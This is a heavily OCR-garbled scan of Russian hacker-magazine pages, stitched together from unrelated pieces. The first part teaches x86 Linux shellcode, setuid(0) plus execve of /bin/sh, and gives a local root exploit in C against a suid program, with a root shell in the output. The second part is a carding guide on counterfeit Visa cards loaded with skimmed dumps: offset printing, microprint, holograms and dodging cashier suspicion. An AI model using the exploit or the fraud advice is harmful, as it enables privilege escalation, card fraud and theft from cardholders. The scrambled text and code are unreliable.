тоѵѵѵ $1 ,%еах 
тоѵі $0хЬШт,%еах 



.дІоЫ зіагі // делаем зіагі метку видимой для 
линковщика (глобальной) 
зіагі: // начало программы 
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I Пример запуска шеллкода 



.дІоЫ _з!аг! 

_з!аг1: 

тоѵі $1 ,%еах # номер системного вызова в еах 
іп! $0x80 # вызов 80-го прерывания 



Так как у ехі! нет аргументов, регистры еЬх, есх и 
есіх не использовались. Теперь попробуем напи- 
сать вызов ехесѵе (запустим /Ьіп/зП). Для этого чи- 
таем плап 2 ехесѵе и видим там, что для ехесѵе 
нужны 3 аргумента: N1111, N1111 и имя запускаемой 
программы (в нашем случае /Ьіп/зИ). Для начала 
напишем такой вызов на С: 



[ЬоТ]# са! >зПеІІсобе.с 



#іпсІибе <згаю.Н> 






сПаг *зПеІІ[2]; 



// символьный 



зНеІІ[0] = "/Ып/зН"; // имя запускае 

мой программы. 

зНеІІ[1] = N1111; 

ременные. 

ехесѵе(зІіеІІ[0], зИеІІ, N1111); 
запускаем /Ьіп/зП 



// внешние пе 



Л 



[ЬоТ]# дсс -зТаТіс зЬеІІсосІе.с -о зЬеІІсосІе 
[ЬоТ]# ./зНеІІсобе 
зЬ-2.04# ехіТ 



Теперь ты при желании можешь просто дизассемб- 
лировать функцию ехесѵе и посмотреть, как она ра- 
ботает (именно для этого и добавлен ключ -з!а!іс). 

В случае отсутствия такого желания, разберем код 
на ассемблере: 



* 



.дІоЫ зТагТ 
_зТагТ: 

хогі %еах,%еах # очи- 

щаем еах (получаем N1111) 

ризы %еах # засунули в стек 

іт 

ризИІ $0х68732Т2Т # в стек сим- 



Й ж зас: і „тл/мзф 1 . оі/ік _ 

й а-тс ми^гру пііи.і 1 . -и: « « йі 

I Л-іН-ККЯ»-?.. ЛП“ЬТГ«1 Г ГЫГГНЗАП&І 
Л К321ЛПЛНЛ ГЛЛЦ _ 



й' ] Ы Т*ОР-рік НПМР-р р Й.4 

Л ІГ II — Л„Ч-"Н ТІЧГГ ІНЧІІР . 



волы: Из// 

ризИІ $0х6е69622Т # в стек сим- 

волы: піЬ/ 

тоѵі %езр,%еЬх # адрес этих 

символов в еЬх регистр 

ризИІ %еах # засунули в стек 

еще N1111 

ризИІ %еЬх # и адрес по кото 
рому /Ьіп/зИ в стек 

# теперь у нас в стеке лежат: N1111, N1111 и адрес 
/Ьіп/зП, а также адрес, по 

# которому все это расположилось, копируем его в 
есх 

тоѵі %езр,%есх # вот здесь 

скопировали 

.Ьуіе 0x99 # это инструкция ебці, но 

'аз' ее не 

# понимает, поэтому сразу написали в машинном 
коде 

$0х0Ь,%аІ # ну и теперь 



номер вызова в аі 



$0x80 # и делаем этот 



[ЬоТ]# аз зПеІІсобе.з -о зПеІІсобе.о 



[ЬоТ]# 16 зПеІІсобе.о -о зНеІІсобе 



[ЬоТ]# ./зНеІІсобе 



зИ-2.04# ехіТ 



Итак, у тебя есть сорсы, которые дают шелл. И ты 
уже можешь использовать его в эксплоитах. Един- 
ственное, что необходимо сделать, перевести его 
в машинные коды. Это можно сделать оЬібитр'ом, 
дбЬ или любым Пех-редактором: 



[ЬоТ]# оЬібитр -0 ./зНеІІсобе 
./зНеІІсобе: Тііе !огта! еІТ32-і386 



ЭізаззетЫу о! зес!іоп Тех!: 
08048074 < зТагТ>: 






> і * 



$0х6е69622Т 

8048081: 89 еЗ тоѵ 

8048083: 50 ризіі 

8048084: 53 риз!і 

8048085: 89 еі тоѵ 

8048087: 99 сііб 

8048088: Ь0 0Ь тоѵ 

804808а: ссі 80 іп! 

ЭізаззетЫу о! зес!іоп .ба!а: 
[ЬоТ]# 



89 еЗ 


тоѵ 


%езр,%еЬх 


50 


ризИ 


%еах 


53 


ризИ 


%еЬх 


89 еі 


тоѵ 


%езр,%есх 


99 


сііб 




Ь0 ОЬ 


тоѵ 


$0хЬ,%аІ 


сб 80 


іп! 


$0x80 



Теперь перепишем все это в нормальный вид, в 
виде символьного буфера с добавлением зе!иіб(0) 
вызова: 



сПагзНеІІсобе[]= // 
дом 

"\хЗЗ\хсО" /* хогі 
"\х31\хсІЬ" /* хогі 
"\хЬ0\х17" /* тоѵЬ 
"\хсб\х80" /* іпТ 
"\х31\хс0" Г 
"\х50" Г 
"\х68 ,м 7/зИ7 * 

7 

"\х68""/Ып7* 

7 

"\х89\хеЗ" Г 
"\х50" Г 
ехесѵе 

"\х53" Г 
"\х89\хе1 " Г 
"\х99" Г ссіці 
"\ хЬ0\х0Ь" Г тоѵЬ 
"\хссІ\х80"; /* іпТ 



- символьный буфер с шеллко 



%еах,%еах */ 

%еЬх,%еЬх */ 

$0х17,%аІ 7 зеТиісІ 
$0x80 7 

хогі %еах,%еах */ 
ризИІ %еах */ 
ризИІ $0x6873212! 



$0х6е69622Т 



%езр,%еЬх */ 
%еах 7 



ризИІ %( 

тоѵі %( 

7 

$0х0Ь,%аІ 7 



%еЬх 7 
%езр,%есх 7 



8048074: 31 с0 хог 

8048076: 50 ризИ 

8048077: 68 2! 2! 73 68 
$0х68732Т2Т 

804807с: 68 2! 62 69 бе 



%еах,%еах 

%еах 

ризИ 



Для того чтобы запущенный шелл получил гоо!- 
привилегии, ты должен сделать в шелл коде сис- 
темный вызов зеТиісІ(О). То, что программа суид- 
ная, как раз и разрешает тебе делать такой вызов. 
В результате мы получили код, выполняющий зе!и- 
ісі( 0), а затем запуск ехесѵе(/Ьіп/зИ). 

Итак, теперь у нас есть готовый шеллкод. И этот са- 
мый код мы будем впихивать при переполнении бу- 
фера в стеке. Т.е. мы сделаем следующее: регистр 
еір будет указывать не на какие-то левые адреса, а 
на адрес, по которому расположен наш шеллкод. И 
нетрудно догадаться, что если программа будет су- 
идная, и ее владелец руг, то при удачном раскладе, 
ты и получишь эти желанные привилегии руга. А то, 
что мы сделаем, и будет называется "локальный 
гоо!-эксплоит" :). Способов их написания довольно 
много, но я рассмотрю самый простой из них. 



ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ 



Итак, мы подошли к самому интересному. Ты те- 
перь знаешь, что такое переполнение стека, какие 
файлы желательно переполнять. Ты знаешь, что 
такое шеллкод и как его написать. Остается одно - 
применить все это на практике. 

Проблема всех эксплоитов, основанных на перепол- 
нении буфера, заключается в том, что мы часто не 
знаем адреса, который нужно положить в еір для 
вызова шеллкода. Самый простой выход из такой 
ситуации - статические адреса. Т.е. адреса, которые 
не меняются. В Ііпих, при запуске файла, начиная с 
адреса ОхЫШ! и далее вниз, лежат такие данные: 
0хЬ!Ш! - первые 5 байт нули. 

ОхЫШа - далее идет имя запускаемого файла. 

И после этого идут внешние переменные (епѵ). 



Юниксоид — Х-Стиль 



"ч 



* і 
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Так получается необходимый адрес. И теперь все, 
что нужно для создания эксплоита: 

1 . Положить шеллкод как внешнюю переменную. 

2. Посчитать расположение шеллкода (т.е. узнать 
адрес). 

3. Запустить файл так, чтобы буфер переполнился 
любым хламом, и в конце хлама был посчитанный 
адрес расположения шеллкода. 



Т.е. буфер переполнится, в еір поместится адрес 
твоего шеллкода, выполнение, естественно, пе- 
редастся на этот адрес, и произведутся желае- 
мые действия. И как результат, ты получишь 
шелл. А чтобы шелл был рутовый, уязвимая про- 
грамма должна иметь зиісі-флаг. Рассмотрим это 
на примере. Для этого напишем уязвимую про- 
грамму с суид-флагом и эксплоит к ней. Возь- 
мем все тот же пример из первой части статьи: 



Уязвимая программа готова. Поставим ей зиісі- 
флаг, чтобы она запускалась с гооі-привилегиями: 



[ЬоТ]# сМтосІ +з ѵиіп 



Теперь напишем сам эксплоит. Структуру его на- 
писания я рассмотрел чуть выше, но нужно ска- 
зать, что мы используем функцию ехесіе, которая 
является тем же ехесѵе, но позволяет запускать 
файл, используя в качестве аргументов внешние 
переменные (а это нам и нужно): (Таблица 1) 



В этой статье мы рассмотрели класс уязвимостей, 
называемых переполнением буфера, и оценили 
все последствия, которые влечет за собой рассе- 
янное программирование. В двух частях статьи я 
попытался дать максимальное количество инфор- 
мации. Возможно, в некоторые моменты нелегко 
вникнуть сразу: ищи документацию, читай и учись. 
Дальше хотелось бы осветить такие интересные 
проблемы, как ошибки форматных 
строк, переполнения Ьзз-секций и 
Неар, гасе сопбШоп и многое другое, 
сі а. 



Теперь откомпилим экспло- 
ит и перезайдем под обыч- 
ным пользователем: 



#іпсІисіе <5 ісііо.Гі> 
сМаг 5МеІІсосІе[]= 




II 



н 






таіп (іпі агдс, сИаг *агдѵ[]) // будем брать 
символы с командной строки 
{ 

сМаг Ш1е_ЬиТСег[4] ; // сделаем буфер на 

4 байта 



[ЬоТ]# дсс ехрІоіТ.с -о ехрІоіТ 
[ЬоТ]# зи іизТизег 
ЦизТ изег]$ 



, наконец, запуск: 



ЦизТ изег]$ /ЬоТ/ехрІоіТ 
зЬ-2.04# ісі 



"\хЗЗ\хсО" Т 

"\х31\хс1Ь" Т 

"\хЬ0\х17" Т 

"\хссі\х80" Г 

"\х31\хс0" Т 

"\х50" Т 

"\х68""//зИ" Т 

"\х68""/Ьіп" Т 

"\х89\хеЗ" Т 

"\х50" Т 

"\х53" Т 

"\х89\хе1 " 
"\х99" 
"\хЬО\хОЬ" 
"\хссІ\х80"; 
іпі таіп () 



/* 

/* СбЦІ 
/* тоѵЬ 
Г іпі 



хогі 

хогі 

тоѵЬ 

іпі 

хогі 

ризЫ 

ризЫ 

ризЫ 

тоѵі 

ризЫ 

ризЫ 

тоѵі 

7 

$0х0Ь,%аІ 



%еах,%еах 



$0x1 7,%аІ 



%еах,%еах 



$0х68732Т2Т 7 
$0х6е69622Т */ 
%езр,%еЬх */ 
%еах */ 

%еЬх */ 



%езр,%есх 7 



// подготовим символьный буфер для внешней переменной, которая является твоим 

// шелл кодом: 

сМаг *епѵа[2] = зМеІІсосІе; 

// теперь сделаем символьный буфер твоих переполняющих байт + нашего адреса. Он 
// равен 12 байтам, т.к. 8 необходимо для переполнения и 9,10,1 1 ,12 байты лягут 
// в еір (как раз наш адрес) 
сМаг ЬиТ[12]; 

// сделаем некое преобразование типов, чтобы далее было проще с засовыванием 
// адреса твоего шеллкода в переполняющий буфер 
іпі *ар = (іпі *)(Ьиі); 

// теперь посчитаем адрес нашего шеллкода, по которому этот шеллкод ляжет при 
// использовании ехесіе функции (она, в общем-то, и засунет шеллкод во внешнюю 
// переменную) 

іпі геі = ОхЫНТПТ - 5 - зігіеп(зііеіісосіе) - зТгІеп ( "/ЬоТ/ѵи I п" ) ; 

// вот теперь положим полученный адрес в 9-й, 1 0-й, 1 1 -й и 1 2-й байты буфера 
іпі і; 

Тог (і = 0 ; (і < 1 2) ;і +=4) // цикл с прибавлением по 4 байта 
*ар++ = геі; 

// и, наконец, последний штрих: мы запускаем уязвимую программу с нашим переполняющим 
// буфером, содержащим в конце адрес шеллкода, и с нашей новой внешней переменной (этим 
// самым шеллкодом) 
ехесІе(7Ьоі/ѵиІп","ѵиІп",Ьиі,МІИІ,епѵа); 



Использование ІосаІ гооі эксплоита 
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РАЗБОР КАРТ 



Ньюсы 



'Реррум 



Ѵі8АИесІгоп,деск а .о,-— 

.сравнивался не Еіесігоп 

Ільно из-за какой-то вообра 

меньшая сумма ил 
і дампом по сравнению 

.Сравнение будет про- 

— выпущенныхре- 

ал ни в коей мере не яв- 

,й УК РФ). Я хотел лишь 

выбор. 



некоторых личн^-м 
ванными картами. При 
> весь сыр-бор исклю 1 
апример, по Весігоп у 

имдй ай»ИеЛопа« мпон 

,"^%^“ Рда0ЛЛе ^ В ’ 
арт. И внимание! Данный 

ва Р емые примеры незакош 

, чем они руководствуются 



, ть и меня подтолкнуло 

юдукт по сравнению с 
Еіесігоп с кредитным і 
Г дизайна, а не из-за 

существенных факторов. Ита* 
змбоссированных карт с кредо 

еп^п<т«б вгельск " МС ^ 
кгами,апокар№Р“» мс( ^ 

агамій карданга, так ка. <асе 

П^«ард№**“°" иза " 



к написанию этой 1,1* 
то неполноценный пр 

дампом Еіесігоп'а, а 
жаемой "ущербности 
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Для начала несколько слов о русском менталитете 
- куда же без этого! Когда я вижу парня лет во- 
семнадцати-двадцати двух, выползающего из явно 
подержанного мерина с шильдиком на заднице 
600 ЗЕІ_ (то есть удлиненная версия), в кожаной 
курточке (дорогой, но все же...), причем, несмотря 
на то, что этот мерс на то и удлиненный, что рас- 
считан на поездку VI Р-пассажира на заднем сиде- 
нье, владелец вылезает из-за руля, то сразу пони- 
маю, что это русский. И видел я таких парнишек 
во многих европейских странах, но всегда они 
действительно оказывались русскими. 

В 92-м году я зашел перекусить в Макдоналдс в 
Цюрихе и увидел молодого парня, демонстратив- 
но раскладывающего на столике спутниковый те- 
лефон (для тех, кто не знает - это такая байда, 
размером с чемодан, которая в чемодан же и 
упакована - позволяет звонить из любой точки 
мира через спутник). Я сразу понял - русский. И 
точно - он начал кричать на весь Макдоналдс 
"Люся! Люся! Представляешь - я тебе из самого 
центра Цюриха звоню!!!" 



О САМОМ ХАРДИНГЕ 



Когда я представляю себе, как кардер лет двадца- 
ти в шикарных джинсах и крутейшем кожаном кур- 
тяке, сгибаясь под тяжестью цепуры на шее, с 
перстнями на всех пальцах, включая пальцы ног, 
заходит в европейский шоп и достает из кармана 
голдовую/платиновую визу или Мастеркард, или 
еще круче - платиновый амекс, то я представляю 
себе, какие мысли проносятся в голове у продав- 
ца. Если ты думаешь, что у продавца не возникнет 
сомнений в том, что карта действительно принад- 
лежит покупателю, ты глубоко заблуждаешься. Са- 
мое первое, что придет в голову продавцу - кардер 
гоп-стопнул какого-нибудь дядечку и забрал у него 
креду, а теперь пытается по ней отовариться. Даже 
если продавец не выскажет свои опасения, типа 
"покажите документы", то наверняка звякнет в 
банк, чтобы убедиться, что деньги ему потом при- 
дут. А кому это нужно? Разве кардеру необходимо, 
чтобы его подозревали, чтобы на него обращали 
повышенное внимание? Я думаю, нет. 

В кардере, который шопится по магазинам, обыч- 
но все соответствует неброскому имиджу - они 
все-таки работники невидимого фронта, и чем ме- 
нее кардер заметен в тылу врага, тем лучше. Если 
кардер еще молод, ему надо стараться выглядеть 
как его европейские сверстники, снять до возвра- 
щения в Россию перстни с брюликами и цепи тол- 
щиной в палец (кардер же не негр из какой-то 
бруклинской банды - верно?). И кредитную карточ- 
ку заказать лучше соответствующую. Какая же кре- 
дитка подходит кардеру лучше всего? 



дию, он начинает зарабатывать себе кредитную 
историю и уже через год может рассчитывать на 
получение карты той же внутриитальянской пла- 
тежной системы, которую он может уже исполь- 
зовать и в магазинах (только итальянских). Через 
год исправного юзанья этой карты он может по- 
лучить Еіесігоп'а или Маезіго. И еще года через 
три, когда начнет получать приличную зарплату, 
может замахнуться на ѴІЗА СІаззіс. И только лет 
через 7-10 (если будет много зарабатывать), мо- 
жет подумать о получении голдовой карты. 
Соответственно, кардеру необходимо прикинуть, 
сколько ему лет, и не выделяется ли он со своей 
крутой картой среди сверстников. Ведь, повторюсь, 
кардерам очень важно слиться с толпой. Причем 
речь идет не о количестве денег, а исключительно о 
дизайне карты - вещи, которая совершенно не вли- 
яет на сумму покупки. Это была психология (значе- 
ние которой в этом деле трудно переоценить). Те- 
перь перейдем к вопросам практическим. 



РАЗЛИЧИЯ В СНЯТИИ ДЕНЕГ 



Есть ли различия по снимаемым суммам с 
Еіесігоп'а с кредитным дампом и с эмбоссирован- 
ных карт с голограммой? У кредитных карт для ре- 
ального кардхолдера есть два главных отличия (не 
считая кредита, так как в ЕІесігоп'е дамп также 
кредитный). Это: 

1 . Возможность обслуживания через импринтер. 

2. Возможность обслуживания по подлимитным 
суммам без онлайновой авторизации (обычно до 
50 долларов). 

Рассмотрим эти два преимущества более де- 
тально - являются ли они таким уж большим 
преимуществом? 



і 



ВОЗМОЖНОСТЬ ОБСЛУЖИВАНИЯ ЧЕРЕЗ 
ИМПРИНТЕР 



[ 



КАК ЕВРОПЕЕЦ ПОЛУЧАЕТ 
КРЕДИТНУЮ КАРТУ 



1 



Возьмем, к примеру, совершеннолетнего италь- 
янца (несовершеннолетним можно иметь карту 
только прил инкованную к родительской). Когда 
ему исполняется 1 8 лет, у него нет никакой кре- 
дитной истории (кредитная история по карте, 
прилинкованной к родительской, не учитывается). 
Соответственно, он не может рассчитывать на 
Ѵіза ЕІесігоп - ему выдают только локальную бан- 
коматную карту, которой он может пользоваться 
исключительно в Италии и только в банкоматах. 
Эта карта не является ни визой, ни Мастеркардом 
(называется она Радо). После того, как итальянец 
начинает работать или учиться и получать стипен- 






Стоит подумать, много ли существует импринте- 
ров в развитых странах (за исключением США, но 
штатовский рынок - это несколько другая история). 
И в каких магазинах они стоят. Люди опытные ска- 
жут, что наличие импринтера в магазинах в разви- 
тых странах - это такая же редкость, как и встреча 
там же с Запорожцем. А если они и стоят там, то 
лишь в мелких лавочках, которые торгуют каким-то 
старьем по завышенным ценам. И там ты не ку- 
пишь ликвидный товар, который потом можно бы- 
стро и выгодно сдать. Например, ту же электрони- 
ку. Во всех магазинах с приемлемыми ценами и 
нормальным товаром давным-давно стоят элек- 
тронные РОЗ-терминалы. А если еще учесть, что 
кардер будет единственным покупателем в мелкой 
лавочке с импринтером за последние три месяца, 
да принять во внимание его возраст и наличие у 
него крутой кредитки, то наверняка дело не обой- 
дется без звонка из магазина в банк "на всякий 
случай". А кому это надо? 



ВОЗМОЖНОСТЬ ОТОВАРИВАНИЯ ПО 
ПОДЛИМИТНЫМ СУММАМ БЕЗ ОНЛАЙ- 
НОВОЙ АВТОРИЗАЦИИ 



Уже неоднократно говорилось, что карту можно 
юзать один раз или, в крайнем случае, несколько 
раз, но в течение очень короткого времени. Это 
очень важно, если кардер хочет остаться на сво- 
боде. А теперь подумай - будет ли кардер ста- 
раться обегать с картой, купленной за 230 баксов, 
кучу точек для того, чтобы по подлимитным опе- 



рациям набрать сумму для отбивки стоимости 
карты? Или лучше в это время совершить много 
покупок на максимально возможные суммы? Но 
ведь на суммы свыше 50 баксов обычно требуется 
онлайновая авторизация! Так есть ли разница, ка- 
кую карту кассир прокатывает в РОЗ'е - кредит- 
ную или Еіесігоп? Ведь в любом случае кассир 
сам не принимает решение - давать товар или не 
давать - все, что ему надо, он получает из РОЗ- 
терминала. Получил код авторизации 00 - товар 
отдает, не получил - так будь у кардера хоть су- 
пер-пупер платиновая карта по дизайну, продавец 
товар не даст. Таким образом, видно, что и это 
"преимущество" кредитной (эмбоссированной) 
карты по сравнению с Еіесігоп'ом очень уж сомни- 
тельно с кардерской точки зрения. 

Технологические отличия производства офсетных 
ЕІесІгоп'ов и эмбоссированных карт. Вот описание 
того, как должна выглядеть Ѵіза ЕІесІгоп (читаем бан- 
ковскую инструкцию для кассира РОЗ-терминала): 

Пластиковые карты ѴІЗА ЕІ_ЕСТВОІ\І имеют следую- 
щие реквизиты: 

На лицевой стороне: 

* название банка - эмитента; 

* номер карты нанесен лазерным способом полно- 
стью, либо указаны ВІИ и последние четыре циф- 
ры номера карты; 

* всегда имеется надпись по-английски: "ЕІ_ЕС- 
ТВОІМІС ІІЗЕ (ЖѴ" ("Только для электронных опе- 
раций"); 

* срок окончания действия карты (например: до 
12/99); 

* имя и фамилия Держателя; 

* защитный символ V не наносится; 

* под ультрафиолетовым освещением голубь мо- 
жет отсутствовать. 

В настоящее время существует два дизайна лого- 
типа карт ѴІЗА ЕІ_ЕСТРЮІ\І: 

ѴІЗА ЕЬЕСТВОІМ ИМПУЛЬС. По контуру логотипа 
нанесена микропечать, состоящая из повторяюще- 
гося слова "ЕІ_ЕСТВОІ\Г. Карта может иметь лого- 
тип ѴІЗА и голограмму с изображением голубя. 
ѴІЗА ЕЬЕСТВОМ КОМЕТА. По контуру логотипа на- 
несена микропечать, состоящая из повторяющего- 
ся слова "ЕЬЕСТРЮМ" и кода банка. 

С 1 января 2002 г. все карты должны иметь только 
логотип ѴІЗА ЕЬЕСТВОМ КОМЕТА. 

На оборотной стороне: 

* магнитная полоса; 

* полоса для подписи с надписью "ЕІ_ЕСТВОІ\Г си- 
ним, красным и желтым цветом, под углом 45 гра- 
дусов. Если на лицевой стороне номер карты нане- 
сен полностью, на полосе может быть номер карты 
и код безопасности, нанесенные лазерным спосо- 
бом; номер карты и код безопасности не наносятся. 

Ну, а что с эмбоссированными картами ѴІЗА? Чи- 
таем там же: 

Пластиковые карты ѴІЗА имеют следующие рекви- 
зиты: 

На лицевой стороне: 

* название банка - эмитента; 

* эмбоссирован 16-значный (цифры сгруппирова- 
ны по четыре) номер карты, начинающийся с циф- 
ры 4; 

* эмбоссирован срок окончания действия карты 
(например: до 12/99) либо срок начала и 
окончания действия карты (например: с 1 2/99 ЕЖ 
до 12/00). Карты выдаются сроком на 1 ме- еж 
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сяц, 1 год, 2 года и редко на 3, 5 лет; 

* после срока действия эмбоссирован защитный 
символ V; 

* эмбоссированы имя и фамилия Держателя; 

* логотип ѴІЗА в виде трехцветного флага (голу- 
бой, белый с надписью ѴІЗА и желтый). Логотип 
расположен в правом верхнем или нижнем углу. 

По контуру логотипа наносится микропечать, кото- 
рая состоит из БИ На и кода банка; 

* голограмма в виде летящего голубя. При поворо- 
те карты создается впечатление взмаха крыла го- 
лубя; 

* под ультрафиолетовым освещением виден летя- 
щий голубь голубого или розового цвета; 

* под первой группой цифр номера карты должен 
быть нанесен типографским способом БИН. 

На оборотной стороне: 

* магнитная полоса; 

* полоса для подписи, с надписью "ѴІЗА" желтым и 
синим цветом, под углом 45 градусов. На полосе 
черным наклонным влево шрифтом напечатан но- 
мер карты и трехзначный код безопасности. 

Итого - какие есть технологические нюансы изго- 
товления карт на офсетном оборудовании? 



Я МИКРОШРИФТ ВОКРУГ ЛОГОТИПА 



оборудования заключается в том, что чем меньше 
партия, тем больше процент брака. При печати не- 
скольких тысяч экземпляров брак составит не- 
сколько процентов. А при печати 25 карт будет хо- 
рошо, если 8-10 из них окажутся пригодными для 
дальнейшего использования. Это связано с тем, 
что офсетное оборудование печатает сначала один 
цвет, потом второй, потом третий и потом четвер- 
тый (офсетное оборудование печатает все в СМѴК 
(логотипы платежных систем печатаются по панто- 
нам) - кто разбирается в печати, тот поймет). При 
этом все цвета, которые не являются основными, 
появляются на карте путем смешения нескольких 
цветов. Естественно, все цвета должны совпасть 
по контуру, и при настройке оборудования для пе- 
чати с нового макета много карт уходит в брак при 
подгонке наложения цветов. Соответственно, если 
кардер хочет, чтобы его эмбоссированная кредит- 
ная карта полностью совпадала по всем парамет- 
рам с настоящей, под каждый бин, который он вы- 
берет, ему придется заплатить минимум 300 дол- 
ларов дополнительно за оригинал-макет и вывод 
изображения на пленки плюс заказать партию карт 
с этим бином (ОДНИМ БИНОМ!) в количестве 50 
штук минимум. Как говорится, хозяин - барин. 
Альтернативой же является либо заказ именно того 
количества, которое ему нужно, но не с тем бином 
на микрошрифте, либо заказ Еіесігоп'а, который 
полностью совпадает с настоящим. И тот, и другой 
варианты имеют право на существование, так как у 
кассира редко когда находится достаточно мощная 
лупа, чтобы рассмотреть микрошрифт. Но между 
выражениями "как настоящая" и "почти как настоя- 
щая" все-таки имеется разница. 



было абсолютно идентичных настоящим голо- 
грамм. Либо они были приемлемыми по качеству, 
но должны были наклеиваться - и тогда, подцепив 
голограмму ногтем, можно обнаружить подделку. 
Либо голограммы были в лентах, что позволяло их 
впаивать в карту на специальном оборудовании, но 
само качество голограммы оставляло желать луч- 
шего. Абсолютно же родных голограмм на моей 
памяти не предлагал никто - купить их просто не- 
где. Сейчас проблема решается, но сколько вре- 
мени уйдет на ее окончательное решение, никто 
сказать не может. То есть те, кто все-таки желает 
покупать карты с голубками и глобусами, должны 
смириться с тем, что их карты будут укомплектова- 
ны качественными, но все-таки наклейками. С гло- 
бусами для мастеркарда сейчас существует такая 
же проблема. Хотя повторю, что практически для 
кардера нет разницы, что использовать - Ѵіза 
Еіесігоп или эмбоссированную карту с голограм- 
мой - дамп-то и на одной, и на другой один и тот 
же. То есть кассир видит ЕІесігоп, а ПОС-терминал 
и банк, дающий авторизацию - кредитную карту 
(может, даже, Голд или Платинум). 



Здесь никаких проблем на данный момент нет. 
Можно рисовать УФ, можно нет - тем более что в 
большинстве случаев на реальных Еіесігоп'ах его и 
нет. Мало шансов, что кто-нибудь придерется к 
ультрафиолетовому голубку при снятии наличных в 
отделении банка - дело в том, что на картах раз- 
ных банков голубок нанесен немного по-разному 
(так же, как существует 6 различных вариантов ис- 
полнения реальной 1 00-долларовой купюры - они 
все реальные, но сделаны на разных фабриках). 
Также и с ультрафиолетовыми голубками. Но, по- 
вторюсь, никаких проблем с нанесением ультра- 
фиолета на карту нет. 



На Еіесігоп'ах, как известно, голограммы нет, а на 
эмбоссированных картах она присутствует. "Впа- 
ять" ее в карту не проблема (а технологически на 
реальных картах она не приклеивается, а припаи- 
вается по краям к пластику под большим кратко- 
временным давлением и температурой не менее 
1 50 градусов по Цельсию) - естественно, при на- 
личии соответствующего оборудования. Но про- 
блема заключается в том, что очень редко на рын- 
ке появляются голограммы, по качеству соответст- 
вующие оригинальным (чтобы голубь махал крыль- 
ями и вытягивал клюв), да еще чтобы они (голо- 
граммы) были в лентах (что необходимо для уже 
описанного "впаивания"), а не в виде наклеек. Точ- 
нее сказать, на моей памяти НИКОГДА на рынке не 



Микрошрифт идеально печатается на офсетном 
оборудовании. "Правильный" микрошрифт имеет 
размер 0,25 мм - принтер просто не напечатает 
его, поэтому на картах принтерного качества мик- 
рошрифт обычно гораздо большего размера (я ви- 
дел и 0,7 мм, и 1 мм, видел и карты вовсе без ми- 
крошрифта). Но, повторюсь, рассматривается ва- 
риант офсетных карт - никому неохота палиться на 
принтерном качестве. В Еіесігоп'е вокруг логотипа 
нанесен микрошрифт в виде повторяющегося сло- 
ва ЕІесігоп. В эмбоссированных (Ѵіза 
СІаззіс/ОоІсІ/РІайпит) вокруг логотипа должен быть 
нанесен ВІИ банка (тот же, что и на карте) и код 
банка. И это несложно напечатать на офсетном 
оборудовании - в конце концов, нет разницы, что 
печатать - слово Еіесігоп или бин с кодом банка, 
если бы не одно "но". Для того чтобы напечатать 
на микрошрифте именно тот бин, что будет эмбос- 
сирован на карте, производителю карт придется 
заказать отдельный оригинал-макет именно с этим 
бином. За это он возьмет минимум 300 баксов 
(создание самого макета и вывод его на пленки 
для офсетной печати). Плюс на офсетном обору- 
довании убыточно печатать с одного оригинал-ма- 
кета менее 50 карт, так как особенность офсетного 



И с этим проблем тоже нет. На Еіесігоп'ах индент- 
печати нет, а на эмбоссированных картах есть. На- 
печатать ее несложно. 



Я попытался изложить все максимально подробно, 
чтобы показать все различия. В принципе, у эмбос- 
сированных карт нет никаких преимуществ перед 
ЕІесігоп'ами с кредитным (золотым, платиновым) 
дампом. Еіесігоп же больше соответствует возрасту 
большинства кардеров, он АБСОЛЮТНО идентичен 
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вокруг ВИЗОВ- 
ского логотипа совпадал с 
бином карты, и закажет мини- 
мально по 50 карт под каждый бин. 
Либо, если такой заказ ему не под силу, 
придется смириться с тем, что бин вокруг микро- 
шрифта не будет совпадать с бином карты. 

На данный момент существует техническая воз- 
можность производства Еіесігоп'ов, абсолютно 
идентичных настоящим, так как на них нет отсут- 
ствующих на рынке голограмм, а микрошрифт на 
всех Еіесігоп'ах в мире одинаков - повторяющее- 
ся слово ЕБЕСТРОМ вокруг логотипа. Таким об- 
разом, ЕІесігоп'ы можно заказывать с любыми 
бинами в любой расфасовке (хоть отдельный 
бин на каждый Еіесігоп). 

Если сравнивать по количеству снимаемых с карты 
денег, то с Еіесігоп'а снимается не меньше и не 
больше, чем с эмбоссированной карты, а стоит 
Еіесігоп дешевле. Или "понты дороже денег"? :) 



реальному 
Еіесігоп'у, выпущен- 
ному любым банком. 

При визуальном рассмот 
рении - под лупой, под 
ультрафиолетом ни один самый профессиональный 
банкир не найдет никаких отличий от оригинала 
(если, конечно, кардер закупил офсетную карту, а 
не принтер). В отличие, кстати, от эмбоссирован- 
ных карт. Нет - шопиться по ним можно все так же, 
вот только вопрос в том, что лучше - шопиться в 
среднем на 2,8К с одной карты, которая идеально 
изготовлена и неотличима от оригинала, либо шо- 
питься на те же 2,8К по карте, которая стоит доро- 
же, а сделана менее качественно? Дамп-то везде 
одинаковый... Вопрос в том, что победит - желание 
понтоваться или здравый смысл. 
(Примечание: средняя сумма в 2,8К по 
скиммнутой карте взята из статистики Аме- 
риканской Банковской Ассоциации, которая 
приводит именно такую среднюю сумму спи- 
саний со скиммнугых карт.) 



Итак, подведем итоги. 

Прежде всего, кардер старается соответствовать 
своему возрасту как в одежде, так и в предъявля- 
емых картах. У кассиров на западе не русская 
психология и они могут заподозрить кардера в 
том, что карта не его, а он ее где-то украл. 

Плюсы эмбоссированных карт для кардера весь- 
ма сомнительны. Подлимитные операции с под- 
дельными картами кардерами обычно не прово- 
дятся, импринтеров в нормальных магазинах нет, 
машины кардеры по поддельным картам не арен- 
дуют (по Электрону с него запросят гораздо боль- 
шую авторизацию). 

Суммы снятия при больших покупках зависят не от 
дизайна карты - Еіесігоп или эмбоссированная 
платиновая карта, а от того, что ответит кассиру 
ПОС-терминал. То есть от того, какой дамп запи- 
сан у кардера на карте. 

На данный момент из-за проблем с голограмма- 
ми технически невозможно производство эмбос- 
сированных карт, абсолютно идентичных настоя- 
щим. После решения проблем с голограммами 
визовские классики, голды и платины будут аб- 
солютно идентичны реальным, если клиент до- 
полнительно оплатит изготовление макетов под 
выбранные им бины для того, чтобы микрошрифт 
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ЭХО СОБЫТИЙ 

- Евро стал дороже доллара. Не 
пора ли менять у.е. в прайс- 
листах? 



ДЕЙСТВУЮЩИЕ лица 

- Особый случай: безногий 
инвалид стал одним из лучших 
предпринимателей 
Ставропольского края 



ВЫГОДНО/НЕВЫГОДНО 

- Взгляд на рынок: автосервис 

- Сколько зарабатывает хозяин 
бара 



КАК ЭТО ЕТСЯ 

- Налоговая декларация: образец 
заполнения для фирм на 
"упрощенке" 

